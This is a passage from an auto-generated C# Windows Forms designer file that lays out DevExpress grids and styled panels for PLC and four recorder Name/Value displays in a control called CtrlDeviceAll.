// ulPanel5
//
this.ulPanel5.BackColor = System.Drawing.Color.DeepSkyBlue;
this.ulPanel5.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel5.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel5.Font = new System.Drawing.Font("Arial Rounded MT Bold", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel5.ForeColor = System.Drawing.Color.White;
this.ulPanel5.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel5.InnerColor2 = System.Drawing.Color.White;
this.ulPanel5.Location = new System.Drawing.Point(6, 6);
this.ulPanel5.Name = "ulPanel5";
this.ulPanel5.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel5.OuterColor2 = System.Drawing.Color.White;
this.ulPanel5.Size = new System.Drawing.Size(288, 28);
this.ulPanel5.Spacing = 0;
this.ulPanel5.TabIndex = 5;
this.ulPanel5.Text = "PLC";
this.ulPanel5.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel5.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// ulPanel7
//
this.ulPanel7.BevelInner = Ulee.Controls.EUlBevelStyle.Raised;
this.ulPanel7.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel7.Controls.Add(this.recorder4Grid);
this.ulPanel7.Controls.Add(this.recorder3Grid);
this.ulPanel7.Controls.Add(this.recorder2Grid);
this.ulPanel7.Controls.Add(this.recorder1Grid);
this.ulPanel7.Controls.Add(this.ulPanel8);
this.ulPanel7.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel7.InnerColor2 = System.Drawing.Color.White;
this.ulPanel7.Location = new System.Drawing.Point(306, 0);
this.ulPanel7.Name = "ulPanel7";
this.ulPanel7.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel7.OuterColor2 = System.Drawing.Color.White;
this.ulPanel7.Size = new System.Drawing.Size(1204, 915);
this.ulPanel7.Spacing = 0;
this.ulPanel7.TabIndex = 8;
this.ulPanel7.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel7.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// recorder4Grid
//
this.recorder4Grid.Cursor = System.Windows.Forms.Cursors.Default;
this.recorder4Grid.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.recorder4Grid.Location = new System.Drawing.Point(904, 40);
this.recorder4Grid.MainView = this.recorder4GridView;
this.recorder4Grid.Name = "recorder4Grid";
this.recorder4Grid.Size = new System.Drawing.Size(294, 868);
this.recorder4Grid.TabIndex = 9;
this.recorder4Grid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.recorder4GridView});
//
// recorder4GridView
//
this.recorder4GridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.recorder4GridView.Appearance.FixedLine.Options.UseFont = true;
this.recorder4GridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F);
this.recorder4GridView.Appearance.FocusedRow.Options.UseFont = true;
this.recorder4GridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F);
this.recorder4GridView.Appearance.HeaderPanel.Options.UseFont = true;
this.recorder4GridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.recorder4GridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.recorder4GridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.recorder4GridView.Appearance.OddRow.Options.UseFont = true;
this.recorder4GridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.recorder4GridView.Appearance.Preview.Options.UseFont = true;
this.recorder4GridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F);
this.recorder4GridView.Appearance.Row.Options.UseFont = true;
this.recorder4GridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F);
this.recorder4GridView.Appearance.SelectedRow.Options.UseFont = true;
this.recorder4GridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.recorder4GridView.Appearance.ViewCaption.Options.UseFont = true;
this.recorder4GridView.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[] {
this.gridColumn3,
this.gridColumn4});
this.recorder4GridView.CustomizationFormBounds = new System.Drawing.Rectangle(2884, 580, 210, 186);
this.recorder4GridView.GridControl = this.recorder4Grid;
this.recorder4GridView.Name = "recorder4GridView";
this.recorder4GridView.OptionsView.ColumnAutoWidth = false;
this.recorder4GridView.OptionsView.ShowGroupPanel = false;
this.recorder4GridView.OptionsView.ShowIndicator = false;
this.recorder4GridView.Tag = 0;
//
// gridColumn3
//
this.gridColumn3.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F);
this.gridColumn3.AppearanceCell.Options.UseFont = true;
this.gridColumn3.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F);
this.gridColumn3.AppearanceHeader.Options.UseFont = true;
this.gridColumn3.Caption = "Name";
this.gridColumn3.FieldName = "Name";
this.gridColumn3.Name = "gridColumn3";
this.gridColumn3.OptionsColumn.AllowEdit = false;
this.gridColumn3.OptionsColumn.AllowFocus = false;
this.gridColumn3.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.gridColumn3.OptionsColumn.AllowIncrementalSearch = false;
this.gridColumn3.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.gridColumn3.OptionsColumn.AllowMove = false;
this.gridColumn3.OptionsColumn.AllowShowHide = false;
this.gridColumn3.OptionsColumn.AllowSize = false;
this.gridColumn3.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.gridColumn3.OptionsColumn.FixedWidth = true;
this.gridColumn3.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.gridColumn3.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.gridColumn3.OptionsColumn.ReadOnly = true;
this.gridColumn3.OptionsColumn.TabStop = false;
this.gridColumn3.OptionsFilter.AllowAutoFilter = false;
this.gridColumn3.OptionsFilter.AllowFilter = false;
this.gridColumn3.Visible = true;
this.gridColumn3.VisibleIndex = 0;
this.gridColumn3.Width = 170;
//
// gridColumn4
//
this.gridColumn4.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F);
this.gridColumn4.AppearanceCell.Options.UseFont = true;
this.gridColumn4.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F);
this.gridColumn4.AppearanceHeader.Options.UseFont = true;
this.gridColumn4.Caption = "Value";
this.gridColumn4.DisplayFormat.FormatString = "{0:F2}";
this.gridColumn4.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.gridColumn4.FieldName = "Value";
this.gridColumn4.Name = "gridColumn4";
this.gridColumn4.OptionsColumn.AllowEdit = false;
this.gridColumn4.OptionsColumn.AllowFocus = false;
this.gridColumn4.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.gridColumn4.OptionsColumn.AllowIncrementalSearch = false;
this.gridColumn4.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.gridColumn4.OptionsColumn.AllowMove = false;
this.gridColumn4.OptionsColumn.AllowShowHide = false;
this.gridColumn4.OptionsColumn.AllowSize = false;
this.gridColumn4.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.gridColumn4.OptionsColumn.FixedWidth = true;
this.gridColumn4.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.gridColumn4.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.gridColumn4.OptionsColumn.ReadOnly = true;
this.gridColumn4.OptionsColumn.TabStop = false;
this.gridColumn4.OptionsFilter.AllowAutoFilter = false;
this.gridColumn4.OptionsFilter.AllowFilter = false;
this.gridColumn4.Visible = true;
this.gridColumn4.VisibleIndex = 1;
this.gridColumn4.Width = 100;
//
// recorder3Grid
//
this.recorder3Grid.Cursor = System.Windows.Forms.Cursors.Default;
this.recorder3Grid.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.recorder3Grid.Location = new System.Drawing.Point(605, 40);
this.recorder3Grid.MainView = this.recorder3GridView;
this.recorder3Grid.Name = "recorder3Grid";
this.recorder3Grid.Size = new System.Drawing.Size(293, 868);
this.recorder3Grid.TabIndex = 8;
this.recorder3Grid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.recorder3GridView});
//
// recorder3GridView
//
this.recorder3GridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.recorder3GridView.Appearance.FixedLine.Options.UseFont = true;
this.recorder3GridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F);
this.recorder3GridView.Appearance.FocusedRow.Options.UseFont = true;
this.recorder3GridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F);
this.recorder3GridView.Appearance.HeaderPanel.Options.UseFont = true;
this.recorder3GridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.recorder3GridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.recorder3GridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.recorder3GridView.Appearance.OddRow.Options.UseFont = true;
this.recorder3GridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.recorder3GridView.Appearance.Preview.Options.UseFont = true;
this.recorder3GridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F);
this.recorder3GridView.Appearance.Row.Options.UseFont = true;
this.recorder3GridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F);
this.recorder3GridView.Appearance.SelectedRow.Options.UseFont = true;
this.recorder3GridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.recorder3GridView.Appearance.ViewCaption.Options.UseFont = true;
this.recorder3GridView.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[] {
this.gridColumn5,
this.gridColumn6});
this.recorder3GridView.CustomizationFormBounds = new System.Drawing.Rectangle(2884, 580, 210, 186);
this.recorder3GridView.GridControl = this.recorder3Grid;
this.recorder3GridView.Name = "recorder3GridView";
this.recorder3GridView.OptionsView.ColumnAutoWidth = false;
this.recorder3GridView.OptionsView.ShowGroupPanel = false;
this.recorder3GridView.OptionsView.ShowIndicator = false;
this.recorder3GridView.Tag = 0;
//
// gridColumn5
//
this.gridColumn5.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F);
this.gridColumn5.AppearanceCell.Options.UseFont = true;
this.gridColumn5.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F);
this.gridColumn5.AppearanceHeader.Options.UseFont = true;
this.gridColumn5.Caption = "Name";
this.gridColumn5.FieldName = "Name";
this.gridColumn5.Name = "gridColumn5";
this.gridColumn5.OptionsColumn.AllowEdit = false;
this.gridColumn5.OptionsColumn.AllowFocus = false;
this.gridColumn5.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.gridColumn5.OptionsColumn.AllowIncrementalSearch = false;
this.gridColumn5.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.gridColumn5.OptionsColumn.AllowMove = false;
this.gridColumn5.OptionsColumn.AllowShowHide = false;
this.gridColumn5.OptionsColumn.AllowSize = false;
this.gridColumn5.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.gridColumn5.OptionsColumn.FixedWidth = true;
this.gridColumn5.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.gridColumn5.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.gridColumn5.OptionsColumn.ReadOnly = true;
this.gridColumn5.OptionsColumn.TabStop = false;
this.gridColumn5.OptionsFilter.AllowAutoFilter = false;
this.gridColumn5.OptionsFilter.AllowFilter = false;
this.gridColumn5.Visible = true;
this.gridColumn5.VisibleIndex = 0;
this.gridColumn5.Width = 170;
//
// gridColumn6
//
this.gridColumn6.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F);
this.gridColumn6.AppearanceCell.Options.UseFont = true;
this.gridColumn6.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F);
this.gridColumn6.AppearanceHeader.Options.UseFont = true;
this.gridColumn6.Caption = "Value";
this.gridColumn6.DisplayFormat.FormatString = "{0:F2}";
this.gridColumn6.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.gridColumn6.FieldName = "Value";
this.gridColumn6.Name = "gridColumn6";
this.gridColumn6.OptionsColumn.AllowEdit = false;
this.gridColumn6.OptionsColumn.AllowFocus = false;
this.gridColumn6.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.gridColumn6.OptionsColumn.AllowIncrementalSearch = false;
this.gridColumn6.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.gridColumn6.OptionsColumn.AllowMove = false;
this.gridColumn6.OptionsColumn.AllowShowHide = false;
this.gridColumn6.OptionsColumn.AllowSize = false;
this.gridColumn6.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.gridColumn6.OptionsColumn.FixedWidth = true;
this.gridColumn6.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.gridColumn6.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.gridColumn6.OptionsColumn.ReadOnly = true;
this.gridColumn6.OptionsColumn.TabStop = false;
this.gridColumn6.OptionsFilter.AllowAutoFilter = false;
this.gridColumn6.OptionsFilter.AllowFilter = false;
this.gridColumn6.Visible = true;
this.gridColumn6.VisibleIndex = 1;
this.gridColumn6.Width = 100;
//
// recorder2Grid
//
this.recorder2Grid.Cursor = System.Windows.Forms.Cursors.Default;
this.recorder2Grid.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.recorder2Grid.Location = new System.Drawing.Point(305, 40);
this.recorder2Grid.MainView = this.recorder2GridView;
this.recorder2Grid.Name = "recorder2Grid";
this.recorder2Grid.Size = new System.Drawing.Size(294, 868);
this.recorder2Grid.TabIndex = 7;
this.recorder2Grid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.recorder2GridView});
//
// recorder2GridView
//
this.recorder2GridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.recorder2GridView.Appearance.FixedLine.Options.UseFont = true;
this.recorder2GridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F);
this.recorder2GridView.Appearance.FocusedRow.Options.UseFont = true;
this.recorder2GridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F);
this.recorder2GridView.Appearance.HeaderPanel.Options.UseFont = true;
this.recorder2GridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.recorder2GridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.recorder2GridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.recorder2GridView.Appearance.OddRow.Options.UseFont = true;
this.recorder2GridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.recorder2GridView.Appearance.Preview.Options.UseFont = true;
this.recorder2GridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F);
this.recorder2GridView.Appearance.Row.Options.UseFont = true;
this.recorder2GridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F);
this.recorder2GridView.Appearance.SelectedRow.Options.UseFont = true;
this.recorder2GridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.recorder2GridView.Appearance.ViewCaption.Options.UseFont = true;
this.recorder2GridView.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[] {
this.gridColumn1,
this.gridColumn2});
this.recorder2GridView.CustomizationFormBounds = new System.Drawing.Rectangle(2884, 580, 210, 186);
this.recorder2GridView.GridControl = this.recorder2Grid;
this.recorder2GridView.Name = "recorder2GridView";
this.recorder2GridView.OptionsView.ColumnAutoWidth = false;
this.recorder2GridView.OptionsView.ShowGroupPanel = false;
this.recorder2GridView.OptionsView.ShowIndicator = false;
this.recorder2GridView.Tag = 0;
//
// gridColumn1
//
this.gridColumn1.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F);
this.gridColumn1.AppearanceCell.Options.UseFont = true;
this.gridColumn1.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F);
this.gridColumn1.AppearanceHeader.Options.UseFont = true;
this.gridColumn1.Caption = "Name";
this.gridColumn1.FieldName = "Name";
this.gridColumn1.Name = "gridColumn1";
this.gridColumn1.OptionsColumn.AllowEdit = false;
this.gridColumn1.OptionsColumn.AllowFocus = false;
this.gridColumn1.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.gridColumn1.OptionsColumn.AllowIncrementalSearch = false;
this.gridColumn1.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.gridColumn1.OptionsColumn.AllowMove = false;
this.gridColumn1.OptionsColumn.AllowShowHide = false;
this.gridColumn1.OptionsColumn.AllowSize = false;
this.gridColumn1.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.gridColumn1.OptionsColumn.FixedWidth = true;
this.gridColumn1.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.gridColumn1.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.gridColumn1.OptionsColumn.ReadOnly = true;
this.gridColumn1.OptionsColumn.TabStop = false;
this.gridColumn1.OptionsFilter.AllowAutoFilter = false;
this.gridColumn1.OptionsFilter.AllowFilter = false;
this.gridColumn1.Visible = true;
this.gridColumn1.VisibleIndex = 0;
this.gridColumn1.Width = 170;
//
// gridColumn2
//
this.gridColumn2.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F);
this.gridColumn2.AppearanceCell.Options.UseFont = true;
this.gridColumn2.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F);
this.gridColumn2.AppearanceHeader.Options.UseFont = true;
this.gridColumn2.Caption = "Value";
this.gridColumn2.DisplayFormat.FormatString = "{0:F2}";
this.gridColumn2.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.gridColumn2.FieldName = "Value";
this.gridColumn2.Name = "gridColumn2";
this.gridColumn2.OptionsColumn.AllowEdit = false;
this.gridColumn2.OptionsColumn.AllowFocus = false;
this.gridColumn2.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.gridColumn2.OptionsColumn.AllowIncrementalSearch = false;
this.gridColumn2.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.gridColumn2.OptionsColumn.AllowMove = false;
this.gridColumn2.OptionsColumn.AllowShowHide = false;
this.gridColumn2.OptionsColumn.AllowSize = false;
this.gridColumn2.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.gridColumn2.OptionsColumn.FixedWidth = true;
this.gridColumn2.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.gridColumn2.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.gridColumn2.OptionsColumn.ReadOnly = true;
this.gridColumn2.OptionsColumn.TabStop = false;
this.gridColumn2.OptionsFilter.AllowAutoFilter = false;
this.gridColumn2.OptionsFilter.AllowFilter = false;
this.gridColumn2.Visible = true;
this.gridColumn2.VisibleIndex = 1;
this.gridColumn2.Width = 100;
//
// recorder1Grid
//
this.recorder1Grid.Cursor = System.Windows.Forms.Cursors.Default;
this.recorder1Grid.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.recorder1Grid.Location = new System.Drawing.Point(6, 40);
this.recorder1Grid.MainView = this.recorder1GridView;
this.recorder1Grid.Name = "recorder1Grid";
this.recorder1Grid.Size = new System.Drawing.Size(293, 868);
this.recorder1Grid.TabIndex = 6;
this.recorder1Grid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.recorder1GridView});
//
// recorder1GridView
//
this.recorder1GridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.recorder1GridView.Appearance.FixedLine.Options.UseFont = true;
this.recorder1GridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F);
this.recorder1GridView.Appearance.FocusedRow.Options.UseFont = true;
this.recorder1GridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F);
this.recorder1GridView.Appearance.HeaderPanel.Options.UseFont = true;
this.recorder1GridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.recorder1GridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.recorder1GridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.recorder1GridView.Appearance.OddRow.Options.UseFont = true;
this.recorder1GridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.recorder1GridView.Appearance.Preview.Options.UseFont = true;
this.recorder1GridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F);
this.recorder1GridView.Appearance.Row.Options.UseFont = true;
this.recorder1GridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F);
this.recorder1GridView.Appearance.SelectedRow.Options.UseFont = true;
this.recorder1GridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.recorder1GridView.Appearance.ViewCaption.Options.UseFont = true;
this.recorder1GridView.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[] {
this.rgNameColumn,
this.rgValueColumn});
this.recorder1GridView.CustomizationFormBounds = new System.Drawing.Rectangle(2884, 580, 210, 186);
this.recorder1GridView.GridControl = this.recorder1Grid;
this.recorder1GridView.Name = "recorder1GridView";
this.recorder1GridView.OptionsView.ColumnAutoWidth = false;
this.recorder1GridView.OptionsView.ShowGroupPanel = false;
this.recorder1GridView.OptionsView.ShowIndicator = false;
this.recorder1GridView.Tag = 0;
//
// rgNameColumn
//
this.rgNameColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F);
this.rgNameColumn.AppearanceCell.Options.UseFont = true;
this.rgNameColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F);
this.rgNameColumn.AppearanceHeader.Options.UseFont = true;
this.rgNameColumn.Caption = "Name";
this.rgNameColumn.FieldName = "Name";
this.rgNameColumn.Name = "rgNameColumn";
this.rgNameColumn.OptionsColumn.AllowEdit = false;
this.rgNameColumn.OptionsColumn.AllowFocus = false;
this.rgNameColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.rgNameColumn.OptionsColumn.AllowIncrementalSearch = false;
this.rgNameColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.rgNameColumn.OptionsColumn.AllowMove = false;
this.rgNameColumn.OptionsColumn.AllowShowHide = false;
this.rgNameColumn.OptionsColumn.AllowSize = false;
this.rgNameColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.rgNameColumn.OptionsColumn.FixedWidth = true;
this.rgNameColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.rgNameColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.rgNameColumn.OptionsColumn.ReadOnly = true;
this.rgNameColumn.OptionsColumn.TabStop = false;
this.rgNameColumn.OptionsFilter.AllowAutoFilter = false;
this.rgNameColumn.OptionsFilter.AllowFilter = false;
this.rgNameColumn.Visible = true;
this.rgNameColumn.VisibleIndex = 0;
this.rgNameColumn.Width = 170;
//
// rgValueColumn
//
this.rgValueColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F);
this.rgValueColumn.AppearanceCell.Options.UseFont = true;
this.rgValueColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F);
this.rgValueColumn.AppearanceHeader.Options.UseFont = true;
this.rgValueColumn.Caption = "Value";
this.rgValueColumn.DisplayFormat.FormatString = "{0:F2}";
this.rgValueColumn.DisplayFormat.FormatType = DevExpress.Utils.FormatType.Numeric;
this.rgValueColumn.FieldName = "Value";
this.rgValueColumn.Name = "rgValueColumn";
this.rgValueColumn.OptionsColumn.AllowEdit = false;
this.rgValueColumn.OptionsColumn.AllowFocus = false;
this.rgValueColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.rgValueColumn.OptionsColumn.AllowIncrementalSearch = false;
this.rgValueColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.rgValueColumn.OptionsColumn.AllowMove = false;
this.rgValueColumn.OptionsColumn.AllowShowHide = false;
this.rgValueColumn.OptionsColumn.AllowSize = false;
this.rgValueColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.rgValueColumn.OptionsColumn.FixedWidth = true;
this.rgValueColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.rgValueColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.rgValueColumn.OptionsColumn.ReadOnly = true;
this.rgValueColumn.OptionsColumn.TabStop = false;
this.rgValueColumn.OptionsFilter.AllowAutoFilter = false;
this.rgValueColumn.OptionsFilter.AllowFilter = false;
this.rgValueColumn.Visible = true;
this.rgValueColumn.VisibleIndex = 1;
this.rgValueColumn.Width = 100;
//
// ulPanel8
//
this.ulPanel8.BackColor = System.Drawing.Color.DeepSkyBlue;
this.ulPanel8.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.ulPanel8.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.ulPanel8.Font = new System.Drawing.Font("Arial Rounded MT Bold", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.ulPanel8.ForeColor = System.Drawing.Color.White;
this.ulPanel8.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel8.InnerColor2 = System.Drawing.Color.White;
this.ulPanel8.Location = new System.Drawing.Point(6, 6);
this.ulPanel8.Name = "ulPanel8";
this.ulPanel8.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.ulPanel8.OuterColor2 = System.Drawing.Color.White;
this.ulPanel8.Size = new System.Drawing.Size(1192, 28);
this.ulPanel8.Spacing = 0;
this.ulPanel8.TabIndex = 5;
this.ulPanel8.Text = "RECORDER";
this.ulPanel8.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.ulPanel8.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// CtrlDeviceAll
//
this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.Name = "CtrlDeviceAll";
this.Size = new System.Drawing.Size(1816, 915);
this.bgPanel.ResumeLayout(false);
this.ulPanel4.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.powerMeterGrid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.powerMeterGridView)).EndInit();
this.ulPanel1.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.controllerGrid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.controllerGridView)).EndInit();
this.ulPanel3.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.plcGrid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.plcGridView)).EndInit();
this.ulPanel7.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.recorder4Grid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.recorder4GridView)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.recorder3Grid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.recorder3GridView)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.recorder2Grid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.recorder2GridView)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.recorder1Grid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.recorder1GridView)).EndInit();
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private Ulee.Controls.UlPanel ulPanel1;
private Ulee.Controls.UlPanel ulPanel2;
private Ulee.Controls.UlPanel ulPanel4;
private Ulee.Controls.UlPanel ulPanel6;
private Ulee.Controls.UlPanel ulPanel7;
private Ulee.Controls.UlPanel ulPanel8;
private Ulee.Controls.UlPanel ulPanel3;
private Ulee.Controls.UlPanel ulPanel5;
private DevExpress.XtraGrid.GridControl powerMeterGrid;
private DevExpress.XtraGrid.Views.Grid.GridView powerMeterGridView;
private DevExpress.XtraGrid.Columns.GridColumn pmNameColumn;
private DevExpress.XtraGrid.Columns.GridColumn pmValueColumn;
private DevExpress.XtraGrid.GridControl controllerGrid;
private DevExpress.XtraGrid.Views.Grid.GridView controllerGridView;
private DevExpress.XtraGrid.Columns.GridColumn cgNameColumn;
